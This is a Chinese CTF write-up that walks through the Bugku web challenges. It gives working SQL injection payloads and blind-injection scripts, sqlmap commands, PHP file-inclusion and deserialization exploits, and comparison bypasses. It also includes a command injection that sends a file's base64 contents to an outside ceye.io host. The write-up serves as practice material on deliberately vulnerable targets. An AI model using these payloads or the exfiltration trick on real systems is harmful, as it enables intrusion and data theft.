文章目录

  • web2
  • 计算器
  • web基础$_GET
  • web基础$_POST
  • *矛盾
  • web3
  • 域名解析
  • 你必须让他停下
  • *本地包含
  • *变量1
  • web5
  • 头等舱
  • 网站被黑
  • *管理员系统
  • web4
  • flag在index里
  • 输入密码查看flag
  • 点击一百万次
  • 备份是个好习惯
  • 成绩单
  • *秋名山老司机
  • *速度要快
  • *cookies欺骗
  • *never give up
  • welcome to bugku
  • 过狗一句话
  • 字符?正则?
  • 前女友(SKCTF)
  • login1(SKCTF)
  • 你从哪里来
  • md5 collision(NUPT_CTF)
  • 程序员本地网站
  • 各种绕过
  • web8
  • 细心
  • *求getshell
  • **INSERT INTO注入
  • *这是一个神奇的登陆框
    • 1.手工注入
    • 2.sqlmap
  • *多次
  • *PHP_encrypt_1(ISCCCTF)
  • flag.php
  • sql注入2
  • Trim的日记本
  • login2(SKCTF)
  • 江湖魔头
  • login4

web2

直接查看F12查看源码即可得flag。

计算器

简单计算题,但输入框限制输入长度,直接改输入框的前端代码,输入计算结果,得到flag。

web基础$_GET

代码审计,GET方法传入what变量的值为’flag’即可得flag。

payload:?what=flag

web基础$_POST

遇上一题类似,只不过是以POST方式传参,在Hackbar中传入:what=flag

*矛盾

代码审计,要求传入的$num即不能是数字,又要等于1,才能输出flag。
这不是矛盾吗?我这里提供两种绕过思路构造$num
(1) 在php里可以用.来连接字符串,所以当构造num=1.' '时,num就被当做了字符串,但由于后面连接的字符串为空,在弱比较的时候仍然会判断与1相等。
(2)可以想到用科学计数法表示数字1,例如:1E+0.1既不是纯数字,其实际值又等于1。

所以payload?num=1.' '?1E+0.1

web3

查看源代码发现一串Unicode编码,在线解码网站解码即得flag

域名解析

把flag.bugku.com 解析到120.24.86.145即可得flag。
c:\windows\system32\drivers\etc\目录下打开hosts
后进行修改,在最后添加上我们需要的 120.24.86.145 flag.bugku.com
再访问flag.bugku.com即得flag

你必须让他停下

题目要求Stop at panda,就能得到flag,但是页面上的图片再不断变化,可以BurpSuite抓包后,多次重发包,然后没几次就能看到flag。

*本地包含

这道题还是可以分析一下的,关键主要时闭合、构造php代码。
打开题目,发现如下代码:

  • 首先判断肯定要通过hello传一个参数进去。
  • 然后看到了eval()这个函数,在CTF比赛中要对这个函数非常敏感,它可以将函数里的字符串当作php代码来解析,再结合题目名:文件包含,思路应该是通过这个函数将php代码以参数传进去,来包含flag.php函数获得flag。
  • 但是eval()函数还有一个var_dump()函数处理传入的参数,这时就需要先对这个函数进行闭合,然后eval()函数就能执行后面的php代码了。(闭合了前面的括号,别忘了最后还有一个括号)

最终构造的payload:?hello=);echo file_get_contents('flag.php'
然后,查看网页源码,flag在源码里。

*变量1

代码审计,考察php可变变量,构造?args=GLOBALS,即得flag。

web5

查看源代码,看到JSFuck代码,直接在控制台输出一下:

头等舱

flag就在http返回头里,Chrome F12-Network-F5刷新或者BurpSuite抓包即可看到flag

网站被黑

扫描目录发现shell.php,根据题目,这应该是留的后门,直接用burpsuite爆破密码即可,密码为:hack

*管理员系统

抓包后先在请求头里增加:

X-Forwarded-For: 127.0.0.1

来伪装本地ip。
查看源代码最后一行有一个base64字符串,解码后为test123(这其实是密码,一开始可能会当作用户名),用户名为:admin,在burpsuite里面重发包,得到flag。

web4

将源码里的JS代码url解码再拼接,然后审计代码,再password框里输入:67d709b2b54aa2aa648cf6e87a7114f1,得到flag

flag在index里

进入后有一个'click me? no'链接,点击后url跳转到?file=show.php,判断应该为本地文件包含,利用php伪协议。
根据题目“flag在index里”,所以应包含index.php构造如下payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

得到一段base64,解码得flag。

输入密码查看flag

输入5位数得密码,告诉了位数(url里也提示了baopo),那就抓包在burpsuite里爆破即可。

点击一百万次

要点击100万次才行,显然不可能手点,Chrome F12查看源码,看到一段JavaScript代码,复制到Console控制台,并将点击时得count++代码改为count+=999999,然后回车,这样再点一次页面就到100万次啦。

备份是个好习惯

根据提示访问index.php.bak(bak是常见得备份文件),下载源码如下:

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>

代码审计得知,要构造key1、key2的值,使他们md5值相等,真值不同。
但这里通过 str_replace('key','',$str)过滤了key,把字符串里面得key替换为空了,但可以双写绕过。
最终payload:?kkeyey1[]=1&kkeyey2[]=2

成绩单

一道没有任何过滤的sql注入题

1' order by 4 #
-1' union select 1,2,3,4 #
-1' union select 1,2,3,table_name from information_schema.tables where table_schema=database() #
-1' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g' #
-1' union select 1,2,3,(select skctf_flag from fl4g) #

*秋名山老司机

这题得写脚本来计算结果并提交,脚本如下:

#!/usr/bin/env python3
#coding=utf-8 import requests
import reurl = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
# 正则表达式匹配算式,并将算是以字符串形式保存在expression中
result = eval(expression)#根据提示,将计算结果,以post方式传入value
post = {'value': result}
print(s.post(url, data=post).text)"""
正则表达式第二种方法
expression = re.findall(r'<div>(.*?)=?;</div>', source)
findall()输出内容只是括号匹配到的内容,不是所有内容,且以列表的形式保存expression = "".join(expression)
将列表里的算式转换成字符串expression = expression[:-2]
去掉算式最后的'=?'
"""

*速度要快

(1)先抓包,在返回头里有一串base64,解码得一句话:跑的还不错,给你flag吧: NDE5NzA1,很显然这肯定不是最终结果。
(2)查看源码,发现注释里也有一句话:OK ,now you have to post the margin what you find,意思,意思就是让你把刚刚发现得东西用post传给margin
(3)但是发现其实刚刚抓包得到得一串字符每次都不一样,再结合题目“速度要快”,看来也是要写脚本,将得到的字符串,立刻再传过去。

最终使用脚本如下,即可得到flag:

#!/usr/bin/env python3
#coding=utf-8 import requests
import base64url = 'http://123.206.87.240:8002/web6/'s = requests.Session()# flag在头部信息里
headers = s.get(url).headersflag = base64.b64decode(headers['flag']) # b64decode解码出来为byte类型margin = flag.decode().split(': ')[1]    # 使用split()前,要先将byte转换为str
# split的结果以列表的形式储存,所以取索引[1]来取冒号后面的字符串margin = base64.b64decode(margin)
post = {'margin':margin}
print(s.post(url, data=post).text)

*cookies欺骗

(1)观察URL有点不对劲:?line=&filename=a2V5cy50eHQ=,里面有串base64,解密为:keys.txt,根据linefilename判断这个URL意思应该是读取了keys.txt这个文件得第0行。
(2)根据推测,将后面得base64改为index.php得base64编码,即构造?line=&filename=aW5kZXgucGhw,返回的是空白页面,但是源码里面可以看到<?php,于是增大line的值就可以看到一行行代码,可以写个简单的脚本来获取index.php的源码:

#get_code.pyimport requestsurl = 'http://123.206.87.240:8002/web11/index.php's = requests.Session()
for line in range(30):payload = {'line':line, 'filename':'aW5kZXgucGhw'} # 这里filename为index.php的base64编码print(s.get(url, params=payload).text)

可以得到index.php的源码如下:

//index.php<?php
error_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';
}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];
}
?>

得到源码后,进行简单的代码审计,即要传入COOKIE: margin:'margin',且提示了keys.php,因此可以写如下脚本来获得flag:

import requestsurl = 'http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA='
#根据index.php源码得这里filename为keys.php的base64编码s = requests.Session()cookies = dict(margin='margin')print(s.get(url, cookies=cookies).text)

*never give up

(1)先看源码,发现1p.html,于是访问此页面,但是一访问就会自动跳转到bugku的首页,于是抓包,看到一大串东西。

(2)将这一大串东西先URL解码,再base64,再URL解码得到如下代码:

var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{require("f4l2a3g.txt");
}
else
{print "never never never give up !!!";
}?>-->"
function OutWord()
{var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();

(3)紧接着进行代码审计,关键是要传参满足下面这些条件:

1.$data=="bugku is a nice plateform!"
2.$id==0
3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114")  and substr($b,0,1)!=4

第一个条件:根据前面的$data = @file_get_contents($a,'r')判断是文件包含,包含的文件里要有bugku is a nice plateform!,可以利用php://input伪协议即可,不了解的可以参考:CTF中文件包含漏洞总结
构造的payload为:?a=php://input,并再post里传入:bugku is a nice plateform!

第二个条件简单,if(!$_GET['id'])限制了id必须非0,但由于后面判断的时候用的是松散比较比较==$id 若想满足非空非零且弱等于整型数 0,则 $id 的值只能为非空非零字符串,这里假设 ,因此我这里构造:?id=qwe

第三个条件就是对$b的构造,有下面三个条件:

  • b的长度要大于5
  • 1114要和111加上b的第一位匹配
  • b的第一位不等于4
    因为再php正则表达实里.(点号),可以作为通配符,因此这里可构造b的第一位为点号,然后在任意构造大于5位的数字即可,如:b=.123456

因此综上所述,最终构造的payload为:?id=qwe&a=php://input&b=.1234567,并且在post里传入:bugku is a nice plateform!
这里直接用浏览器的话,会看到flag一闪而过,可以用burpsuite抓包就行了。

welcome to bugku

(1)先看源码,看到注释里给了一段代码:

用到了php://inputphp://filte伪协议,不清楚的可以看我之前一篇文章:CTF中文件包含漏洞总结
构造的payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php,并在post里传入:welcome to the bugkuctf,得到一段base64

(2)将得到base64解码得到下面hint.php的代码:

<?php
class Flag{//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("good");}  }
}
?>

再按照第一步的方法尝试包含flag.php的内容,但是得到一串中文乱码,于是再尝试包含index.php文件,base64解码后得到如下代码:

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];  if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  echo "hello friend!<br>";  if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦";exit();  }else{  include($file);   $password = unserialize($password);  echo $password;  }
}else{  echo "you are not the number of bugku ! ";
}
?>

进行代码审计,是一道php反序列化的题:

  • 首先file不能包含flag,否则就直接退出了,当file不包含flag时,就包含这个文件,并且将password反序列化再输出。

  • 这里看到了反序列化,又想到了刚才的Flag(),显然这里要file=hint.php,将Flag()包含进来。

  • __tostring()函数在直接输出Flag类的对象引用时会被自动调用,并且如果file存在就输出file文件中的内容,显然这里就是我们得到flag.php中内容的途径。

  • 这里看到echo $password;,因此要再password中传入序列化过后的Flag类的一个对象,并且它的file属性要为flag.php,这样在Flag类执行__tostring()时就会包含它,可以写如下脚本来得到payload:

<?php
class Flag{public $file;
}$password = new Flag();
//根据Flag类以及提示,file应该构造为flag.php
$password->file = 'flag.php';
echo serialize($password);
?>

得到的运行的结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

因此最终构造的payload为:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

过狗一句话

题目里给出了源码:

<?php  $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc);    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
?>

构造payload:?s=print_r(scandir('./'));扫描目录,读取flag_sm1skla1.txt

字符?正则?

代码审计:

<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ die('key is: '.$key);
}
?>keykeyxxxxxkey:/x/keya,

匹配正则表达式:

key  ->  key
.*  ->  .代表通配符,*指匹配0次或多次,所以也可以不进行匹配
key  ->  key
.{4,7}  ->  匹配任意字符4-7次,这里用xxxxx匹配
key:\/.\/  ->  key/x/
(.*key)  -> key
[a-z]  -> a
[[:punct:]]  -> 指匹配任意标点,这里用,匹配

因此最终构造的payload:?id=keykeyxxxxxkey:/x/keya,

前女友(SKCTF)

代码审计:


<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){if(!strcmp($v3, $flag)){echo $flag;}}
}
?>

很常见的一个md5绕过(这里0e开头绕过以及数组绕过都可以),以及strcmp()函数的漏洞,即当传入的参数为数组时,会报错并且return 0

可参考这篇文章:PHP渗透中的奇淫技巧–检查相等时的漏洞

最终构造的payload:?v1[]=1&v2[]=2&v3[]=3

login1(SKCTF)

SQL约束攻击,原理可以参考这篇文章:
基于约束的SQL攻击

注册,用户名为admin加许多空格再加一个任意字符,如:

admin                                                                                                        123

密码可以任意设置

然后再返回登陆页面,使用admin的用户名,和刚才自己设置的密码,即可用admin的账号登陆。

你从哪里来

进入页面后看到"are you from google?",一开始以为是指伪装成谷歌浏览器访问,后来发现是构造http的Refere,如下:

md5 collision(NUPT_CTF)

由题目可以知道为MD5碰撞,想到0e开头的md5,因此构造payload:

?a=s878926199a

程序员本地网站

题目要求从本地访问,因此直接抓包构造:X-Forwarded-For: 127.0.0.1

各种绕过

代码审计:

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';}
?>

(1)要求unamepasswd不同,但sha1加密后相等,可以利用数组绕过,这里还要注意uname通过GET传入,而passwd是通过POST传入。
(2)要求传入的id=margin,但是再判断前先通过urldecode()进行了解码,因此在传的时候要将margin中的任意字符urlencode后再传入。(这里将m编码为%6D

最终构造的payload:?uname[]=1&id=%6Dargin ,post中传入:passwd[]=2

web8

代码审计:

<?php
extract($_GET);
if (!empty($ac))
{$f = trim(file_get_contents($fn));
if ($ac === $f)
{echo "<p>This is flag:" ." $flag</p>";
}
else
{echo "<p>sorry!</p>";
}
}
?>

要传入$ac$fn两个参数,且包含的文件名即为去除空格后$fn的值,要输出flag,还要满足传入的$ac的值与包含的文件中内容相等,想到利用php://input伪协议。

细心

访问robots.txt发现有resusl.php页面:

访问该页面,看到页面后面有一个?x=a,又想到题目中的“想办法变成admin”,因此构造payload:?x=admin,得到flag

*求getshell

(1)题目要求上传一个图片,不能上传php文件,那么解法肯定就是要成功上传一个php文件。

(2)我上传了一个后缀为.jpg的文件,然后上传的时候抓包。

(3)这里有两个需要绕过的点

  • 把请求头里面的Content-Type部分字母改成大写进行绕过
  • 后缀改为.php5(其他的都被过滤了)

**INSERT INTO注入

题目给出了源码:

error_reporting(0);function getIp(){$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}$host="localhost";
$user="";
$pass="";
$db="";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

简单分析得其是读取HTTP头部X-Forwarded-For作为ip地址,在将其传给$ip之前,以 , 为分割符进行分割并取结果数组的第一项。

这里要注入的语句为:

insert into client_ip (ip) values ('$ip')

insert into语句里要嵌套执行其他语句时,需要用将字符串与要执行的语句通过+来连接,例:

mysql> insert into admin(id,username,password) values(1,1,''+(select sleep(3)));
Query OK, 1 row affected (3.04 sec)

还有这里过滤了逗号,所以要注意以下几点:

  • 采取时间盲注时不能用if(cond,expr1,expr2)语句,可以用case...when...then语句代替。
  • 常用的形式截取字符串函数substr([str],[from],[len])由于包含逗号也要用substr([str] from [from] for [len])来代替。
  • 如有需要,可以用limit [len] offset [offset]代替 limit [offset],[len]

综上,最后写出的python脚本如下:

import requestsurl = 'http://123.206.87.240:8002/web15/'
s = requests.Session()
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_'
flag = ''for i in range(1,50):for j in dic:#依次使用下面四个payload即可得到flag#爆库名(可以省略,直接用下面三个就可以)#payload = f"1'+(case when (substr(database() from {i} for 1)='{j}') then sleep(4) else 1 end))#"#爆表名#payload = f"1'+(case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {i} for 1)='{j}') then sleep(4) else 1 end))#"#爆列名#payload = f"1'+(case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {i} for 1)='{j}') then sleep(4) else 1 end))#"#爆字段payload = f"1'+(case when (substr((select binary group_concat(flag) from flag) from {i} for 1)='{j}') then sleep(4) else 1 end))#"headers = {'x-forwarded-for':payload}try:r = requests.get(url,headers=headers,timeout=3)except requests.exceptions.ReadTimeout:flag += jprint(flag)break


因此最后得到flag为:flag{cdbf14c9551d5be5612f7bb5d2867853}

*这是一个神奇的登陆框

这题同样是一道注入题,因为是post注入,所以先抓包,这一题既可以手工注入,也可以直接用sqlmap跑。

1.手工注入

(1)测试发现:

admin_name=1"&admin_passwd=password&submit=GO+GO+GO       报错
admin_name=1"#&admin_passwd=password&submit=GO+GO+GO      Try Again!

1"报错了,而1"#则为Try Again!,判断应该用双引号闭合的。

(2)

admin_name=1" order by 3 #&admin_passwd=password&submit=GO+GO+GO
到3的时候报错,判断应该有两列


(3)

-1" union select 1,2#
判断应该用1的位置进行注入


(3)暴库名

-1" union select database(),2#


(4)爆表名

-1" union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#


(5)爆列名

-1" union select (select group_concat(column_name) from information_schema.columns where table_name='flag1'),2#


(5)爆字段

-1" union select (select group_concat(flag1) from flag1),2#

2.sqlmap

首先将抓包下来的包保存为txt文件(我是直接放在了sqlmap的目录下,下面文件位置应该使用绝对路径),依次执行下列命令即可:

sqlmap.py -r "2.txt" -p admin_name --dbs
sqlmap.py -r "2.txt" -p admin_name -D bugkusql1 --tables
sqlmap.py -r "2.txt" -p admin_name -D bugkusql1 -T flag1 --columns
sqlmap.py -r "2.txt" -p admin_name -D bugkusql1 -T flag1 -C flag1 --dump

*多次

这一题比较坑,一开始测试了几个数据,发现只有There is nothing.Error,Error,Error!两种回显,还以为是盲注,但其实不是盲注…
(1)第一关

?id=1           回显There is nothing.
?id=1'            回显Error,Error,Error!
?id=1'--+        回显There is nothing.但是:
?id=1' and 1=1--+ 回显了Error,Error,Error!,所以应该还过滤了什么
尝试
?id=1' anandd 1=1--+ 回显了There is nothing.
所以这里应该是用空值替换了SQL某些关键字,可以双写绕过

这里可以用异或注入来判断过滤了哪些关键词:

异或:1^1=0,1^0=1,0^1=1,0^0=0
这样当构造:?id=1'^(length('and')=0)--+
若返回正确页面的回显(There is nothing.),则说明(length('and')=0)为假;
若返回错误页面的回显(Error,Error,Error!),则说明(length('and')=0)为真。这里?id=1'^(length('and')=0)--+均回显了Error,Error,Error!,说明(length('and')=0)为真,那么可判断and被过滤了
同理可判断or、select、union也被过滤了

下面进行手工注入

爆表名
?id=-1' uniunionon seleselectct 1,(seleselectct group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())--+
爆列名
?id=-1' uniunionon seleselectct 1,(seleselectct group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')--+
爆address字段的值
?id=-1' uniunionon seleselectct 1,(seleselectct group_concat(address) from flag1)--+

这样就可以进入下一关。

(2)第二关
发现会回显Hello,I Am Here!Nobody!,经过异或测试,发现过滤了unionsubstr,可以用mid()来代替substr(),写的盲注脚本如下:

import requestss = requests.Session()
url = 'http://123.206.87.240:9004/Once_More.php'
payloads = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}_'#过滤了union和substr
flag = ''
for i in range(1,50):for j in payloads:  # 依次跑下面三个payload# 表名#payload = f"?id=1' and mid((select binary group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{j}'--+"# 字段名#payload = f"?id=1' and mid((select binary group_concat(column_name) from information_schema.columns where table_name='flag2'),{i},1)='{j}'--+"# 字段payload = f"?id=1' and mid((select binary group_concat(flag2) from flag2),{i},1)='{j}'--+"# 这里通过加入binary来区分大小写,因为flag中大小写都可能包含if 'Nobody' not in s.get(url+payload).text:flag += jbreakprint(flag)

结果:

这里除了盲注,其实还会在页面上显示错误信息,因此也可以利用用updatexml() 函数报错注入

updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用: 改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

例如,updatexml(1,concat('~',(select database()),'~'),3);
由于updatexml()的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

payload如下:

# 表名
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23# 字段名
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23  # 字段值
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

*PHP_encrypt_1(ISCCCTF)

解密脚本:

# -*- coding: UTF-8 -*-
import base64
# import hashlib'''用python重写后的加密方法
def eccrypt(data):key = hashlib.md5('ISCC').hexdigest()# print 'key-->', keyx = 0char = ''data_len = len(data)  # data的长度key_len = len(key)  # key的长度for i in range(data_len):if x == key_len:x = 0char += key[x]x += 1# print 'char-->', charflag = ''for i in range(data_len):flag += chr((ord(data[i]))+(ord(char[i])) % 128)# print 'flag-->', flagreturn base64.b64encode(flag)
'''def detrcy(b64):int_b64 = []b64de = base64.b64decode(b64)# print 'b64de-->', b64de# print 'len_b64de-->', len(b64de)for i in range(len(b64de)):int_b64.append(ord(b64de[i]))# print 'int_b64-->',int_b64# print 'len_int_b64-->', len(int_b64)key = '729623334f0aa2784a1599fd374c120d729623'  # 知道data的长度后直接写出来int_key = []for i in range(len(key)):int_key.append(ord(key[i]))# print 'int_key-->', int_keyflag = ''for i in range(len(int_b64)):flag += chr((int_b64[i]-int_key[i]+128) % 128)print flagif __name__ == '__main__':# str_b64 = eccrypt('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')# print 'str_b64-->', str_b64str_b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='# print 'str_b64-->', str_b64detrcy(str_b64)

flag.php

(1)根据提示,访问?hint=flag.php页面,页面上显示了源码:

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){ show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form>
</div>
</body>
</html> <?php
}
$KEY='ISecer:www.isecer.com';
?>

(2)代码审计,是一道反序列化的题,构造Cookie:ISecer的值等于$key的值,一开始看到最下面的代码,以为$key=ISecer:www.isecer.com,多次尝试无果。再仔细看,发现这个赋值语句是在上面的判断语句之后才执行的,所以判断的时候$key的值为空…

执行上面代码,得到:

(3)传入构造的Cookie:

sql注入2

名字虽然叫sql注入,但这其实是.DS_Store泄露,利用工具ds_store_exp:

打开flag页面,下载到文件flag:

Trim的日记本

扫目录,发现show.php,访问得到flag

login2(SKCTF)

打开题目是一个登陆界面,但是没找到注册界面,应该是利用注入来登录,尝试了几个常见的payload无果,查看HTTP头部,发现tip:

Base64解码得到:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){}

因此我们可以构造payload如下:

username = admin' union select 1,md5(1)#
password = 1

登录成功后进入一个进程监控系统:

随意测试可以看出来应该是一个命令执行的地方,但是不会将你额外执行的命令进行回显,先用如下payload测试一下:

;sleep 3

发现会延时3秒,于是我们想办法进行无回显的RCE

可以利用请求外带的方式得到命令执行的结果,构造如下payload:

;curl 288vqv.ceye.io/`ls|base64`

可以收到ls命令base64后的结果:

解码得到:

css
fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt
index.php
login.php

再构造:

;curl 288vqv.ceye.io/`cat ./fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt|base64`

得到


解码得到flag,或者直接访问fLag_c2Rmc2Fncn-MzRzZGZnNDc.txt也行。

江湖魔头

进入页面后,发现需要花费money来修炼,但是我们并没有足够的钱。

观察到url中有/wulin.php?action=map,尝试文件包含,会跳转到?action=500,如下:

查看源代码,发现三个js文件:

先看一下script.js,用eval()执行了一个函数,我们改成console.log()放控制台运行一下:

格式化后如下:

function getCookie(cname) {var name = cname + "=";var ca = document.cookie.split(';');for (var i = 0; i < ca.length; i++) {var c = ca[i].trim();if (c.indexOf(name) == 0) return c.substring(name.length, c.length)}return ""
}function decode_create(temp) {var base = new Base64();var result = base.decode(temp);var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num ^ i;num = num - ((i % 10) + 2);result3 += String.fromCharCode(num)}return result3
}function ertqwe() {var temp_name = "user";var temp = getCookie(temp_name);temp = decodeURIComponent(temp);var mingwen = decode_create(temp);var ca = mingwen.split(';');var key = "";for (i = 0; i < ca.length; i++) {if (-1 < ca[i].indexOf("flag")) {key = ca[i + 1].split(":")[2]}}key = key.replace('"', "").replace('"', "");document.write('<img id="attack-1" src="data:image/1-1.jpg">');setTimeout(function () {document.getElementById("attack-1").src = "image/1-2.jpg"}, 1000);setTimeout(function () {document.getElementById("attack-1").src = "image/1-3.jpg"}, 2000);setTimeout(function () {document.getElementById("attack-1").src = "image/1-4.jpg"}, 3000);setTimeout(function () {document.getElementById("attack-1").src = "image/6.png"}, 4000);setTimeout(function () {alert("浣犱娇鐢ㄥ鏉ョ鎺屾墦璐ヤ簡钂欒€侀瓟锛屼絾涓嶇煡閬撴槸鐪熻韩杩樻槸鍋囪韩锛屾彁浜よ瘯涓€涓嬪惂!flag{" + md5(key) + "}")}, 5000)
}

可以看出来是在cookie上动手脚了,先看一下cookie是什么:

O:5:"human":10:{s:8:"xueliang";i:629;s:5:"neili";i:845;s:5:"lidao";i:93;s:6:"dingli";i:73;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}

是php序列化串,并且可以看到moeny属性为0,所以这一题的思路应该就是修改序列化里的money的值到足够大,然后再逆向加密回cookie,从而获得足够的钱。

根据上面的decode_create函数写出对应的加密函数如下:

function encode_create(temp) {var result = "";for (i = 0; i < temp.length; i++) {var num = temp.charCodeAt(i);num = num + ((i % 10) + 2);num = num ^ i;result += String.fromCharCode(num);}var base = new Base64();var result2 = base.encode(result);return result2;
}

这里还有一个比较坑的点,他给的base64的加密和解密函数不是完全对应的:在加密时使用了_utf8_encode(input),而在解密时却把_utf8_decode(output)注释掉了,所以我们加密时也需要把这个注释掉,然后可以在控制台直接覆盖掉原来的函数。

这样就可以来伪造cookie了:

修改cookie并刷新,可以发现我们已经有足够的钱了:


然后按要求练功即可得到flag:

login4

扫描目录得到文件泄露:

用vim恢复.swp文件得到源码:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();function get_random_iv(){$random_iv='';for($i=0;$i<16;$i++){$random_iv.=chr(rand(1,255));}return $random_iv;
}function login($info){$iv = get_random_iv();$plain = serialize($info);$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);$_SESSION['username'] = $info['username'];setcookie("iv", base64_encode($iv));setcookie("cipher", base64_encode($cipher));
}function check_login(){if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){$cipher = base64_decode($_COOKIE['cipher']);$iv = base64_decode($_COOKIE["iv"]);if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");$_SESSION['username'] = $info['username'];}else{die("ERROR!");}}
}function show_homepage(){if ($_SESSION["username"]==='admin'){echo '<p>Hello admin</p>';echo '<p>Flag is $flag</p>';}else{echo '<p>hello '.$_SESSION['username'].'</p>';echo '<p>Only admin can see flag</p>';}echo '<p><a href="loginout.php">Log out</a></p>';
